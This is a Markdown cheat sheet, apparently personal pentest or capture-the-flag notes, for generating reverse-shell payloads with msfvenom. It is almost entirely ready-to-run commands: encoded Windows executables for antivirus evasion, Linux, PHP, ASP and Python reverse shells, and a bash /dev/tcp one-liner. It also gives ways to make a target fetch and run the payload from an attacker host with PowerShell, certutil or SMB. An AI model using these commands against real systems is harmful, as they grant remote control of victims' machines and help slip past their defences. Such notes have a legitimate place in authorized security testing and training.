98 lines
2.3 KiB
Markdown
98 lines
2.3 KiB
Markdown
# msfvenom Usage
|
|
|
|
* [Cheat Sheet](https://thedarksource.com/msfvenom-cheat-sheet-create-metasploit-payloads/#waf-and-antivirus-detectionav-bypass-using-msfvenom-encoders)
|
|
|
|
```
|
|
msfvenom -p <payload> <options>
|
|
```
|
|
|
|
* syntax
|
|
```
|
|
<OS>/<arch>/<payload>
|
|
```
|
|
* stageless
|
|
```
|
|
linux/x86/shell_reverse_tcp
|
|
```
|
|
* staged
|
|
```
|
|
linux/x86/shell/reverse_tcp
|
|
```
|
|
|
|
## Windows
|
|
### x64 Reverse Shell in exe format
|
|
```
|
|
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
|
|
```
|
|
|
|
### x86 shikata_ga_nai
|
|
```
|
|
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encode x86/shikata_ga_nai LHOST=10.9.7.123 LPORT=4446 -f exe -o shell.exe
|
|
```
|
|
|
|
### Getting the shell on target
|
|
* on attack machine, with shell.exe in cwd
|
|
```
|
|
python -m http.server
|
|
```
|
|
* on target machine execute this
|
|
```
|
|
powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"
|
|
|
|
Start-Process "shell.exe"
|
|
```
|
|
or
|
|
```
|
|
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
|
|
```
|
|
or
|
|
```
|
|
powershell -c "Invoke-WebRequest -Uri 'ip/shell.exe' -OutFile 'C:\Windows\Temp\shell.exe'"
|
|
```
|
|
or on cmd.exe
|
|
```sh
|
|
certutil -urlcache -split -f http://<attacker-IP>:<attacker-Port>/shell.exe
|
|
```
|
|
* Using SMB
|
|
On attacker
|
|
```sh
|
|
sudo python impacket/examples/smbserver.py dir .
|
|
```
|
|
on target
|
|
```sh
|
|
copy \\<attacker-IP>\dir\shell.exe C:\shell.exe
|
|
```
|
|
|
|
## Unix
|
|
### netcat reverse
|
|
```sh
|
|
msfvenom -p cmd/unix/reverse_netcat LHOST=<listen-ip> LPORT=<liste-port> R
|
|
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<attacker-IP> LPORT=<Port> -f elf -o shell.elf
|
|
```
|
|
|
|
* Alternatively, not msfvenom
|
|
```sh
|
|
bash -c "bash -i >& /dev/tcp/<listen-ip>/<listen-port> 0>&1"
|
|
```
|
|
|
|
### Include into Python Exploit as hex
|
|
```sh
|
|
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker-IP> LPORT=4444 EXITFUNC=thread -b "\x00" -f py
|
|
```
|
|
|
|
## PHP
|
|
```sh
|
|
msfvenom -p php/reverse_shell LHOST=<attacker-IP> lPORT=4444 -f raw > reverse_shell.php
|
|
```
|
|
* Enclose raw file inside `<?php ... ?>` tags
|
|
|
|
## ASP
|
|
```sh
|
|
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-IP> LPORT=<attacker-Port> -f asp -o rev_shell.asp
|
|
```
|
|
|
|
## Python
|
|
```sh
|
|
msfvenom -p cmd/unix/reverse_python LHOST=<attacker-IP> LPORT=<attacker-Port> -f python -o reverse_shell.python
|
|
```
|